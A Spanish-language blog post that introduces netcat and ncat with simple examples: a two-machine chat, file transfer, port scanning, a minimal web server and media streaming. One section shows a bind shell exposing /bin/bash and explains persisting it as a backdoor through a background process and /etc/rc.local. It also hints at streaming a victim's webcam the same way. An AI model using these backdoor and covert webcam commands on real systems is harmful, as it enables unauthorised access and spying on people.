NetCat: La navaja Suiza
El término "navaja suiza" entró en la cultura popular como sinónimo de utilidad y adaptabilidad, podría ponerse como ejemplo en la vida real a las navajas Victorinox conocidas por todos.
Ahora bien, en Gnu/Linux hay programas que son llamadas navajas suizas en el sistema, que pueden ser por ejemplo ffmpeg, imagemagick, ssh y un largo etcétera. Pero la gran ganadora debería (para mí) ser NetCat.
A mí me fue enseñada por medio de quien me enseñó lo de este post, y me fue presentada como LA navaja suiza de Gnu/Linux y fue con el siquiente ejemplo:
En EquipoA
nc -l -p 12345
En EquipoB
nc 192.168.1.2 12345
Qué hace esto? Un chat simple entre dos equipos en la red. Detallo:
- EquipoA con ip 192.168.1.2
- EquipoB con ip 192.168.1.3
(usaremos los mismos para los demás ejemplo)
Lo lanzado en A pone el equipo en escucha (listen, -l) en el puerto (-p) 12345. En el B se conecta al equipo al puerto que está escuchando A.
Que ocurre una vez establecida la conexión? Lo que se escriba en ambos, será enviado al otro equipo y viceversa, osea un intercambio de mensajes…osea un chat.
Ya se habrán dado cuenta que fácil es abrir un puerto y conectarse a un puerto (podría armar un mini servidor de algo o bien probar conexiones a posibles puertos abiertos).
Pero bueno vamos con más ejemplos curiosos….Para el resto del post usaremos el netcat mencionado y ncat (la reimplementación mejorada por parte de los chicos de nmap); por lo cual es algunas instrucciones verán nc o ncat.
Vamos con algunos ejemplos más…
Transferir archivos
Al igual que el del chat, pero le indico el archivo a compartir
En A
nc -l -p 12345 < archivo.txt
En B
nc 192.168.1.2 12345 > archivo.txt
Escaneo de Puertos
Alguien dice escaneo de puertos y piensa en nmap, pero netcat puede hacerlo también y no de a uno solo:
nc -zv 192.168.1.2 20-30
Esto prueba conectividad en la ip indicada en el rango de puertos indicados (20 a 30). Si le agregamos -u probará por udp en vez de tcp.
Servidor Web Simple
Netcat se puede usar para crear un servidor web basicón. Supongamos que ya tenemos un archivo `index.html` creado.
{ echo -e 'HTTP/1.1 200 OK\r\n'; cat blog/index.html; } | sudo nc -l -p 81
Lo que hace ahi es simple, primero envíamos el reponse 200 (osea un OK) al browser y luego mostramos el contenido del html y finalmente le decimos que esa salida sea puesta en escucha en el puerto 81.
Si vamos a nuestro navegador y ponemos ip:81 veremos el contenido del html.
Acceso Remoto y algo más….. ;-)
Podríamos dar acceso al intérprete (bash, sh, etc) de un equipo
En A
ncat -l -p 12345 -e /bin/bash
En B
nc 192.168.1.2 12345
Ahora si desde B tirás algún comando veremos la salida del mismo, probalo!
Detengámonos un poco acá. Que pasaría si yo obtengo temporalmente acceso remoto o local a un servidor y corro lo que corrí en A, pero con un & al final?
nc -l -p 12345 -e /bin/bash &
Estaría dejando en segundo plano corriendo ese comando, osea estaría abriendo un puerto en segundo plano, osea estaría dejando una puerta trasera (backdoor) y si vamos más allá y lo pongo en /etc/rc.local dicha línea….el equipo tendría siempre corriendo un backdoor!!!
….cuidado con el uso que le dan a esto ;-)
Transmisión de Video y Audio en Tiempo Real…y algo más…
Podríamos transmitir video y audio en tiempo real.
En A
cat archivo.mp3 | nc -l -p 12345
En B
nc 192.168.1.2 12345 | ffplay -
El ejemplo creo es claro, por un lado (como en los demás ejemplos) mandamos lo que queremos sea recibido del otro lado y desde ese otro lado nos conectamos y le decimos como usar esa información en este caso escuchar el mp3 con ffplay.
Video? fácil! cat archivo.mp4 y listo, podemos recibirlo con ffplay, mpv, vlc….con cualquier cosa que reproduzca video.
Detengámonos un poco de vuelta acá ….usemos otra navaja suiza…ffmpeg, con esto ponemos en funcionamiento la webcam y la mandamos a estar a disposición en el puerto 12345 para que quien se conecte pueda ver a través de la webcam
En A
ffmpeg -f video4linux2 -i /dev/video0 -f mpegts - | nc -l -p 12345
En B
nc 192.168.1.2 12345 | ffplay -
Ya se les ocurrió a que voy? Recuerden lo del backdoor….el &…..bueno….no doy más pistas
Hay muchos más ejemplos en la web por lo que les dejo algunas referencias donde buscar:
https://linuxcommandlibrary.com/man/nc (esta web me encanta!)
https://duckduckgo.com/?q=netcat+examples+uses
Espero les haya resultado interesante!!
Tags: Redes